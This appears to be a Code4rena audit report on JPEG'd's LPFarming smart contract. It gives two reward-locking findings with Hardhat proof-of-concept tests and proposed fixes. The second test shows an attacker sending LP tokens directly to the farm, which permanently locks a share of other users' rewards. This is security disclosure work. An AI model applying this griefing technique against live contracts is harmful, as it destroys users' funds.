JPEG'd contest - TrungOre's results

Lines of code

https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/farming/LPFarming.sol#L214 https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/farming/LPFarming.sol#L107

Vulnerability details

Impact

a part of reward tokens will be locked in the farming pool if no user deposits lpToken at the epoch.startBlock

Proof of Concept

it("a part of reward should be locked in farm if no LP join the pool at epoch.startBlock", async() => {
      // manual mine new block  
      await network.provider.send("evm_setAutomine", [false]);

      // prepare 
      await lpTokens[0].transfer(alice.address, units(1000));
      await lpTokens[0].connect(alice).approve(farming.address, units(1000));
      await mineBlocks(1);

      // create new pool
      await farming.add(10, lpTokens[0].address);
      await mineBlocks(1);
      expect(await farming.poolLength()).to.equal(1);

      let pool = await farming.poolInfo(0);
      expect(pool.lpToken).to.equal(lpTokens[0].address);
      expect(pool.allocPoint).to.equal(10);

      // create new epoch ==> balance of pool will be 1000 
      let blockNumber = await ethers.provider.getBlockNumber();
      await farming.newEpoch(blockNumber + 1, blockNumber + 11, 100);

      // skip the epoch.startBlock  
      // it mean no one deposit lpToken to farm at this block 
      await mineBlocks(1);
      expect(await jpeg.balanceOf(farming.address)).to.equal(1000);

      // alice deposit 
      await farming.connect(alice).deposit(0, units(100));
      await mineBlocks(1);

      // skip the blocks to the end of epoch 
      await mineBlocks(13);

      await farming.connect(alice).claim(0);
      await mineBlocks(1);

      console.log("reward of alice: ", (await jpeg.balanceOf(alice.address)).toString());
      console.log("reward remain: ", await jpeg.balanceOf(farming.address));

      // 100 jpeg will be locked in the pool forevers 
      expect(await jpeg.balanceOf(alice.address)).to.equal(900);
      expect(await jpeg.balanceOf(farming.address)).to.equal(100);
    }); 

In the example above, I create an epoch from blockNumber + 1 to blockNumber + 11 with the reward for each block being 100JPEG. So, the total reward for this farm will be 1000JPEG. When I skip the epoch.startBlock and let Alice deposit 100 lpToken at the block right after, at the end of the farm (epoch.endBlock), the total reward of Alice is just 900JPEG, and 100JPEG still remains in the farming pool. Since there is no function for the admin (or users) to withdraw the remaining, 100JPEG will be stucked in the pool forever !!!

Tools Used

typescript

Recommended Mitigation Steps

Add a new function for the admin (or user) to claim all rewards which remained in the pool when epoch.endTime has passed

function claimRemainRewardsForOwner() external onlyOwner {
        require(
            block.number > epoch.endBlock, 
            'epoch has not ended'
        );
        uint256 remain = jpeg.balanceOf(address(this));
        jpeg.safeTransfer(msg.sender, remain);
    }

Lines of code

https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/farming/LPFarming.sol#L190

Vulnerability details

Impact

LpFarming.sol

reward will be locked in the farming, when user execute a direct transfer with lpToken to farm without using deposit

Proof of Concept

"pls add this test to LpFarming.ts to check"

it("a part of rewards can't be distributed if user execute a direct transfer to farm", async() => {
      // manual mine new block  
      await network.provider.send("evm_setAutomine", [false]);

      // prepare 
      const attacker = bob;
      await lpTokens[0].transfer(alice.address, units(1000));
      await lpTokens[0].transfer(attacker.address, units(1000));
      await lpTokens[0].connect(alice).approve(farming.address, units(1000));
      await mineBlocks(1);

      // attacker direct deposit lp token to the pool 
      await lpTokens[0].connect(attacker).transfer(farming.address, units(100));

      // create new pool
      await farming.add(10, lpTokens[0].address);
      await mineBlocks(1);
      expect(await farming.poolLength()).to.equal(1);

      let pool = await farming.poolInfo(0);
      expect(pool.lpToken).to.equal(lpTokens[0].address);
      expect(pool.allocPoint).to.equal(10);

      // create new epoch ==> balance of pool will be 1000 
      let blockNumber = await ethers.provider.getBlockNumber();
      await farming.newEpoch(blockNumber + 1, blockNumber + 11, 100);

      // alice deposit 
      await farming.connect(alice).deposit(0, units(100));
      await mineBlocks(1);

      expect(await jpeg.balanceOf(farming.address)).to.equal(1000);

      // when pool end, alice can just take 500 jpeg, and 500 jpeg will be locked in the contract forever !!!
      await mineBlocks(13);
      console.log("reward of alice: ", (await   farming.pendingReward(0, alice.address)).toString());
      expect(await farming.pendingReward(0, alice.address)).to.equal(BigNumber.from('500'));
    });

In the test above, the attacker transfers 100 lpToken to the farm without using deposit function, and alice deposit 100 lpToken. Because the contract uses pool.lpToken.balanceOf(address(this)) to get the total supply of lpToken in the pool, it will sum up 100 lpToken of attacker and 100 lpToken of alice. This will lead to the situation where Alice will only be able to claim 500 token (at epoch.endBlock), the rest will be locked in the pool forever. Not only with this pool, it also affects the following, a part of the reward will be locked in the pool when the farm end.

Tools Used

typescript

Recommended Mitigation Steps

Declare a new variable totalLPSupply to the struct PoolInfo, and use it instead of pool.lpToken.balanceOf(address(this))

Use assert instead of require https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/helpers/CryptoPunksHelper.sol#L79 https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/helpers/EtherRocksHelper.sol#L81

proof of concept

https://ethereum.stackexchange.com/questions/15166/difference-between-require-and-assert-and-the-difference-between-revert-and-thro